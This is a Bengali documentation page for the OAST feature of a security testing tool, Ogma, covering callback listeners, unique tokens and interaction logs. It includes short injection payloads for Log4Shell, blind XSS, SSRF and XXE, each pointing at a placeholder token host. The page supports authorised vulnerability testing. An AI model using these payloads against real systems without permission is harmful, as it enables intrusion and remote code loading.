মূল বিষয়বস্তুতে যান

OAST ​

OAST (Out-of-Band Application Security Testing) এমন দুর্বলতা শনাক্ত করে যার দৃশ্যমান উত্তর পাওয়া যায় না। পরিবর্তে লক্ষ্য আপনার নিয়ন্ত্রিত লিসেনারের সঙ্গে বহির্মুখী সংযোগ করে, যা সমস্যাটি নিশ্চিত করে।

যেভাবে কাজ করে ​

Ogma একাধিক প্রোটোকলে স্থানীয় লিসেনার চালায়। লক্ষ্য অ্যাপ্লিকেশন কোনো লিসেনারে যোগাযোগ করলে উৎস IP, টাইমস্ট্যাম্প, প্রাপ্ত তথ্য ও ইনজেক্ট করা টোকেনসহ যোগাযোগটি রেকর্ড করা হয়।

লিসেনারের প্রোটোকল ​

প্রোটোকলডিফল্ট পোর্টব্যবহারের ক্ষেত্র
HTTPকনফিগারযোগ্যSSRF, ব্লাইন্ড XSS, ওয়েবহুক
HTTPSকনফিগারযোগ্যTLS-এর মাধ্যমে SSRF
DNSকনফিগারযোগ্যব্লাইন্ড ইনজেকশন, XXE, log4shell
SMTPকনফিগারযোগ্যইমেইল হেডার ইনজেকশন, মেইল সেবায় SSRF

OAST সেটিংস প্যানেলে লিসেনারের পোর্ট এবং তৈরি টোকেনে ব্যবহৃত ডোমেইন নাম নির্ধারণ করুন।

কলব্যাক টোকেন তৈরি ​

  1. সহায়ক সরঞ্জাম > OAST খুলুন।
  2. + নতুন খুলে তৈরি করুন চাপুন। প্রতিটি পরীক্ষার টোকেন অনন্য।
  3. টোকেন কপি করুন। এতে লিসেনারের ডোমেইন ও অনন্য শনাক্তকারী থাকে, যাতে যোগাযোগকে নির্দিষ্ট পরীক্ষার সঙ্গে মেলানো যায়।

টোকেনের বিন্যাসের উদাহরণ: [unique-id].[your-oast-domain]

পেলোডে টোকেন ব্যবহার ​

অ্যাপ্লিকেশন বহির্মুখী সংযোগ করতে পারে এমন যেকোনো ফিল্ডে কলব্যাক টোকেন ইনজেক্ট করুন:

  • SSRF - লক্ষ্য URL হিসেবে HTTP/HTTPS টোকেন ব্যবহার করুন: https://[token]/
  • XXE - DOCTYPE বা বাহ্যিক এনটিটির URL-এ টোকেনের উল্লেখ করুন।
  • Log4Shell - হেডারে যুক্ত করুন: ${jndi:ldap://[token]/a}
  • ব্লাইন্ড XSS - স্ক্রিপ্টের src হিসেবে ইনজেক্ট করুন: <script src="https://[token]/x.js"></script>
  • SMTP ইনজেকশন - ইমেইল হেডারে গন্তব্য ঠিকানা বা URL হিসেবে ব্যবহার করুন।

যোগাযোগের লগ ​

যোগাযোগ প্যানেলে প্রাপ্ত প্রতিটি কলব্যাক দেখা যায়:

কলামবর্ণনা
সময়যোগাযোগ কখন এসেছে
প্রোটোকলHTTP, HTTPS, DNS বা SMTP
উৎস IPসংযোগকারী IP ঠিকানা
টোকেনযে টোকেনে যোগাযোগ করা হয়েছে
তথ্যঅনুরোধের পাথ, DNS কোয়েরির নাম বা SMTP তথ্য

যেকোনো সারিতে ক্লিক করলে যোগাযোগের সম্পূর্ণ বিবরণ দেখা যায়। প্রযোজ্য ক্ষেত্রে অনুরোধের হেডার ও বডিও অন্তর্ভুক্ত থাকে।

পরীক্ষার সঙ্গে যোগাযোগ মেলানো ​

প্রতিটি টোকেন অনন্য হওয়ায় বিভিন্ন প্যারামিটার বা অনুরোধে আলাদা টোকেন ইনজেক্ট করে ঠিক কোন ইনজেকশন পয়েন্ট কলব্যাক ঘটিয়েছে, তা নির্ধারণ করতে পারেন।

মালিকানাধীন সফটওয়্যার। সর্বস্বত্ব সংরক্ষিত।